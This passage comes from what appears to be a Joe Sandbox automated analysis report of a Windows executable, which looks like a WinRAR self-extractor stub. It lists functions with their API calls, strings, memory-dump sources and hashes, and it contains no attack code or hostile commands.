MapViewOfFile.KERNEL32 ref: 00007FF655950A30
UnmapViewOfFile.KERNEL32 ref: 00007FF655950A46
MapViewOfFile.KERNEL32 ref: 00007FF655950A63
UnmapViewOfFile.KERNEL32 ref: 00007FF655950ACA
CloseHandle.KERNEL32 ref: 00007FF655950AD3
SetEnvironmentVariableW.KERNELBASE ref: 00007FF655950BAD
GetLocalTime.KERNEL32 ref: 00007FF655950BB8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF655950C13
SetEnvironmentVariableW.KERNEL32 ref: 00007FF655950C26
GetModuleHandleW.KERNEL32 ref: 00007FF655950C2E
LoadIconW.USER32 ref: 00007FF655950C4D
DialogBoxParamW.USER32 ref: 00007FF655950CB6
SleepEx.KERNEL32 ref: 00007FF655950CE6
DeleteObject.GDI32 ref: 00007FF655950D0D
DeleteObject.GDI32 ref: 00007FF655950D1F
CloseHandle.KERNEL32 ref: 00007FF655950D67
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655950DD7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655950DDD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655950DE3

Part of subcall function 00007FF65594FD0C: SetEnvironmentVariableW.KERNEL32 ref: 00007FF65594FD43
Part of subcall function 00007FF65594FD0C: SetEnvironmentVariableW.KERNEL32 ref: 00007FF65594FDBC

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF655950C02
STARTDLG, xrefs: 00007FF655950CA5
sfxname, xrefs: 00007FF655950B9B
sfxstime, xrefs: 00007FF655950C1F
winrarsfxmappingfile.tmp, xrefs: 00007FF6559509F9

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView$_invalid_parameter_noinfo_noreturn$AddressCloseCurrentDeleteDirectoryModuleObjectProcUnmap$CommandDialogIconInitializeLineLoadLocalMallocMappingOpenParamSleepTimeswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 1048086575-3710569615
Opcode ID: e7d3594d41fc1c42d2a273e76cc46138f8b85040c46b05d7c1c5927625479fcd
Instruction ID: 32f9894556785607b4ca41940ee6514ce17becb6b5ed9fa00daae8890a57957d
Opcode Fuzzy Hash: e7d3594d41fc1c42d2a273e76cc46138f8b85040c46b05d7c1c5927625479fcd
Instruction Fuzzy Hash: C0129A79A187C281EB10DB24E84D2B96361FF85F8CF584231DA9DA6A97DF3CE954C340

Function 00007FF65593A4AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF65593A504

Part of subcall function 00007FF655940F68: WideCharToMultiByte.KERNEL32 ref: 00007FF655940F99

SetDlgItemTextW.USER32 ref: 00007FF65593A573
GetWindowRect.USER32 ref: 00007FF65593A5AD
GetClientRect.USER32 ref: 00007FF65593A5BB
GetWindowLongPtrW.USER32 ref: 00007FF65593A66C
GetWindowRect.USER32 ref: 00007FF65593A6B2
SetDlgItemTextW.USER32 ref: 00007FF65593A6EC
GetSystemMetrics.USER32 ref: 00007FF65593A6F7
GetWindow.USER32 ref: 00007FF65593A708
GetWindowRect.USER32 ref: 00007FF65593A746
GetWindow.USER32 ref: 00007FF65593A808

Strings

CAPTION, xrefs: 00007FF65593A6CF
$%s:, xrefs: 00007FF65593A4EF

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Window$Rect$ItemText$ByteCharClientLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 1936833115-404845831
Opcode ID: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction ID: d2a10ad701181eb29662c9313f5a1032a53c51ee4d99528248f551c4d5ec24a5
Opcode Fuzzy Hash: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction Fuzzy Hash: 5D911B36B1868287E714CF29E81866967A1FBC5B88F485435EE4DA7B59CF3CEC05CB00

Function 00007FF655948624 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE ref: 00007FF65594863D
SizeofResource.KERNEL32 ref: 00007FF655948659
LoadResource.KERNEL32 ref: 00007FF655948673
LockResource.KERNEL32 ref: 00007FF655948685
GlobalAlloc.KERNELBASE ref: 00007FF6559486A6
GlobalLock.KERNEL32 ref: 00007FF6559486BB
GdipAlloc.GDIPLUS ref: 00007FF6559486FE
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF655948769
GlobalUnlock.KERNEL32 ref: 00007FF65594878C
GlobalFree.KERNEL32 ref: 00007FF655948795

Strings

PNG, xrefs: 00007FF65594862F

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: c8606208415c3a11eb94d5df8c8f8595ea54109f2541637b646828bce78d4013
Instruction ID: 52c47363969ee6b0a5425ba8aef9ba8344f4b826949306efd90da5ce8cae4cc2
Opcode Fuzzy Hash: c8606208415c3a11eb94d5df8c8f8595ea54109f2541637b646828bce78d4013
Instruction Fuzzy Hash: 30413039A09B8281EE048B56D4583B963A0BF88FD8F0C4435CE5DA7766EF7CEC498341

Function 00007FF65592F930 Relevance: 17.2, APIs: 8, Strings: 1, Instructions: 1417COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655931239
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593123F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655931245
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593124B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655931251
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655931257
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593125D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655931263

Strings

__tmp_reference_source_, xrefs: 00007FF65592FCCF, 00007FF65592FCDE

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: __tmp_reference_source_
API String ID: 3668304517-685763994
Opcode ID: 5284b8deacc18d9dd878dcda6fbd0c25d4ad9dd8b7c2e50a2c8a7b8efee843d9
Instruction ID: 13bf3f94dfb688c20e03efbcad25261bc33c995807eda6c8334f850cd45c04bd
Opcode Fuzzy Hash: 5284b8deacc18d9dd878dcda6fbd0c25d4ad9dd8b7c2e50a2c8a7b8efee843d9
Instruction Fuzzy Hash: 4AE2BA6AA086C192EE64CB65D5483FE67A1FB41B48F484131DB9DA36A7CF3CF855C700

Function 00007FF655924840 Relevance: 12.1, APIs: 5, Strings: 1, Instructions: 1624COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592511E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655925124
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592512A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655925E16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655925E1C

Strings

CMT, xrefs: 00007FF6559259B2

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: CMT
API String ID: 3668304517-2756464174
Opcode ID: 9b9b17b47160488b51796ce07d531ea6025730b83c8e66bf90b899a3d3ffa88f
Instruction ID: 49dc89c840c3874b0dd085d916bfb5a2d6287b373be2741cadeced0dea503da8
Opcode Fuzzy Hash: 9b9b17b47160488b51796ce07d531ea6025730b83c8e66bf90b899a3d3ffa88f
Instruction Fuzzy Hash: DDE2016AB096C286EB18DB71D9582FD67A1FB44B88F480035CA5EA7793DF3CE854C300

Function 00007FF6559340BC Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00007FF65593410B
FindFirstFileW.KERNEL32 ref: 00007FF65593415E
GetLastError.KERNEL32 ref: 00007FF6559341AF
FindNextFileW.KERNEL32 ref: 00007FF6559341D7
GetLastError.KERNEL32 ref: 00007FF6559341E5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593430F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655934315

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FileFind$ErrorFirstLast_invalid_parameter_noinfo_noreturn$Next
String ID:
API String ID: 474548282-0
Opcode ID: e946e08dc8eba9ecab1b1533132c2bb6995f9a4699fd30eb303f74d9a567b386
Instruction ID: 86087b75b8ceea3cbc8c82d97b9d4cdb2998936d6e53b59df19e364e2aacd2fc
Opcode Fuzzy Hash: e946e08dc8eba9ecab1b1533132c2bb6995f9a4699fd30eb303f74d9a567b386
Instruction Fuzzy Hash: 4F61D866A08AC281DA108B54E94C2BD6361FF95FA8F155331EAADA36DADF3CD944C700

Function 00007FF655925E24 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 586
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMT, xrefs: 00007FF6559259B2, 00007FF65592675B

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: 81cbc51edb26831c97f40985bc080a49e7e7386e8398e3b88c9e13d1af394772
Instruction ID: 72c47fe8a54f339aa1bf9c851ef749d96c05d5f238643c7c4a69e448d03176be
Opcode Fuzzy Hash: 81cbc51edb26831c97f40985bc080a49e7e7386e8398e3b88c9e13d1af394772
Instruction Fuzzy Hash: 6D42E16AB096C196EB18DB74C5582FD67A0EB41B4CF480136DB5EA7A97DF3CE918C300

Function 00007FF655934928 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID:
API String ID: 3340455307-0
Opcode ID: 388497648aa7178462f46e8a8cb48851b3eb3f46bbabbbefb59410a44eea80d8
Instruction ID: 7a02800528c309ec4161c55d41e72ea579d1eabda0e704e330669e8ace8e5d5e
Opcode Fuzzy Hash: 388497648aa7178462f46e8a8cb48851b3eb3f46bbabbbefb59410a44eea80d8
Instruction Fuzzy Hash: 6041F866B156D686FA64DF11A90C76E2252FBC4F8CF0A4034DE0DA7796DF3CE8428704

Function 00007FF65593DFD0 Relevance: 143.9, APIs: 16, Strings: 66, Instructions: 440
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E018
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E030
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E05D
CreateFileW.KERNEL32 ref: 00007FF65593E3F0
SetFilePointer.KERNEL32 ref: 00007FF65593E40E
ReadFile.KERNEL32 ref: 00007FF65593E436

Part of subcall function 00007FF65593DFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF65593DDDF

CompareStringW.KERNELBASE ref: 00007FF65593E559
CloseHandle.KERNEL32 ref: 00007FF65593E4F3

Part of subcall function 00007FF655921FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655921FFB

Part of subcall function 00007FF6559351A4: GetVersionExW.KERNEL32 ref: 00007FF6559351D5

Part of subcall function 00007FF65593DFD0: LoadLibraryW.KERNELBASE ref: 00007FF65593DEFF
Part of subcall function 00007FF65593DFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593DFB5
Part of subcall function 00007FF65593DFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593DFBB
Part of subcall function 00007FF65593DFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593DFC1
Part of subcall function 00007FF65593DFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593DFC7

AllocConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E74B
GetCurrentProcessId.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E755
AttachConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E75D
GetStdHandle.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E780
WriteConsoleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E799
Sleep.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E7A4
FreeConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E7AA
ExitProcess.KERNEL32 ref: 00007FF65593E7BB

Strings

netapi32.dll, xrefs: 00007FF65593E16B
SSPICLI.DLL, xrefs: 00007FF65593E09C
setupapi.dll, xrefs: 00007FF65593E141
lpk.dll, xrefs: 00007FF65593E0D3
dwmapi.dll, xrefs: 00007FF65593E0BD, 00007FF65593E661
shdocvw.dll, xrefs: 00007FF65593E179
kernel32, xrefs: 00007FF65593E011
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF65593E73B
ntshrui.dll, xrefs: 00007FF65593E12B
dnsapi.DLL, xrefs: 00007FF65593E259
ws2_32.dll, xrefs: 00007FF65593E0FF
crypt32.dll, xrefs: 00007FF65593E187
linkinfo.dll, xrefs: 00007FF65593E347
browcli.dll, xrefs: 00007FF65593E301
dfscli.dll, xrefs: 00007FF65593E2F3
rasadhlp.dll, xrefs: 00007FF65593E30F
iphlpapi.DLL, xrefs: 00007FF65593E267
ieframe.dll, xrefs: 00007FF65593E120
samcli.dll, xrefs: 00007FF65593E2C9
psapi.dll, xrefs: 00007FF65593E115
UXTheme.dll, xrefs: 00007FF65593E0B2
comres.dll, xrefs: 00007FF65593E0F4
cscapi.dll, xrefs: 00007FF65593E22F
SetDefaultDllDirectories, xrefs: 00007FF65593E053
atl.dll, xrefs: 00007FF65593E136
oleaccrc.dll, xrefs: 00007FF65593E1E9
rsaenh.dll, xrefs: 00007FF65593E0A7
usp10.dll, xrefs: 00007FF65593E0DE
XmlLite.dll, xrefs: 00007FF65593E339
devrtl.dll, xrefs: 00007FF65593E29F
aclui.dll, xrefs: 00007FF65593E371
srvcli.dll, xrefs: 00007FF65593E221
samlib.dll, xrefs: 00007FF65593E2D7
cryptsp.dll, xrefs: 00007FF65593E355
SetDllDirectoryW, xrefs: 00007FF65593E026
WindowsCodecs.dll, xrefs: 00007FF65593E213
mlang.dll, xrefs: 00007FF65593E2BB
cabinet.dll, xrefs: 00007FF65593E1DB
slc.dll, xrefs: 00007FF65593E23D
secur32.dll, xrefs: 00007FF65593E1CD
netutils.dll, xrefs: 00007FF65593E283
wintrust.dll, xrefs: 00007FF65593E1B1
propsys.dll, xrefs: 00007FF65593E2AD
clbcatq.dll, xrefs: 00007FF65593E0E9
profapi.dll, xrefs: 00007FF65593E205
uxtheme.dll, xrefs: 00007FF65593E66D
cryptbase.dll, xrefs: 00007FF65593E0C8
imageres.dll, xrefs: 00007FF65593E24B
dsrole.dll, xrefs: 00007FF65593E37F
ws2help.dll, xrefs: 00007FF65593E10A
dhcpcsvc.dll, xrefs: 00007FF65593E32B
cryptui.dll, xrefs: 00007FF65593E1A3
peerdist.dll, xrefs: 00007FF65593E38D
msasn1.dll, xrefs: 00007FF65593E195
wkscli.dll, xrefs: 00007FF65593E2E5
apphelp.dll, xrefs: 00007FF65593E14F
WINNSI.DLL, xrefs: 00007FF65593E275
dhcpcsvc6.dll, xrefs: 00007FF65593E31D
ntmarta.dll, xrefs: 00007FF65593E1F7
sfc_os.dll, xrefs: 00007FF65593E091
userenv.dll, xrefs: 00007FF65593E15D
mpr.dll, xrefs: 00007FF65593E291
shell32.dll, xrefs: 00007FF65593E1BF
DXGIDebug.dll, xrefs: 00007FF65593E086, 00007FF65593E5B6
version.dll, xrefs: 00007FF65593E07B
RpcRtRemote.dll, xrefs: 00007FF65593E363

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Console$FileHandle$AddressProcProcess$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadModulePointerReadSleepStringSystemVersionWrite
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 1496594111-2013832382
Opcode ID: 98412f925c25e5251e7433e2f7fa53b3e9c32244f994fcc6063bd743035dabb3
Instruction ID: 1639b877df5efc8b725d87078639cb850880f03c011f1f00d36006ee65c9ee6b
Opcode Fuzzy Hash: 98412f925c25e5251e7433e2f7fa53b3e9c32244f994fcc6063bd743035dabb3
Instruction Fuzzy Hash: E2324039A09BC295EB119F60E8481E933A4FF44B5CF581136DA4DA7766EF3CDA58C380

Function 00007FF6559398DC Relevance: 25.2, APIs: 3, Strings: 11, Instructions: 702COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF655938E58: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF655938F8D

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF655939F75
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593A42F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593A435

Part of subcall function 00007FF655940BBC: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF655940B44), ref: 00007FF655940BE9

Strings

*messages***, xrefs: 00007FF655939C04
, xrefs: 00007FF655939DF9
DIRECTION, xrefs: 00007FF655939DE5
@%s:, xrefs: 00007FF655939F57
RTL, xrefs: 00007FF655939F2E
,, xrefs: 00007FF655939FAA
*messages***, xrefs: 00007FF655939BC6
STRINGS, xrefs: 00007FF655939DC1
MENU, xrefs: 00007FF655939DD9
DIALOG, xrefs: 00007FF655939DCD
$%s:, xrefs: 00007FF655939F50

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharConcurrency::cancel_current_taskMultiWide_snwprintf
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 3629253777-3268106645
Opcode ID: 73d56d0c11a86a55a1dc3675c73e4a0fd07f95c757df1f2c588dae54c11dd42d
Instruction ID: be199191a1df914d0a1507efe340d0be7b00d10b31bbe76980509de2ab35ff31
Opcode Fuzzy Hash: 73d56d0c11a86a55a1dc3675c73e4a0fd07f95c757df1f2c588dae54c11dd42d
Instruction Fuzzy Hash: E662B02AA196C2C6EB10DF64D44C2BD63A5FB40B8CF894131DA5DA7A96EF3CED44C341

Function 00007FF655951900 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF655951558: DloadProtectSection.DELAYIMP ref: 00007FF6559515C9

RaiseException.KERNEL32 ref: 00007FF6559519A7
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF655951993

Part of subcall function 00007FF655951868: DloadProtectSection.DELAYIMP ref: 00007FF6559518C7

LoadLibraryExA.KERNELBASE ref: 00007FF655951A46
GetLastError.KERNEL32 ref: 00007FF655951A54
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF655951A86
RaiseException.KERNEL32 ref: 00007FF655951A9A

Strings

H, xrefs: 00007FF655951974

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

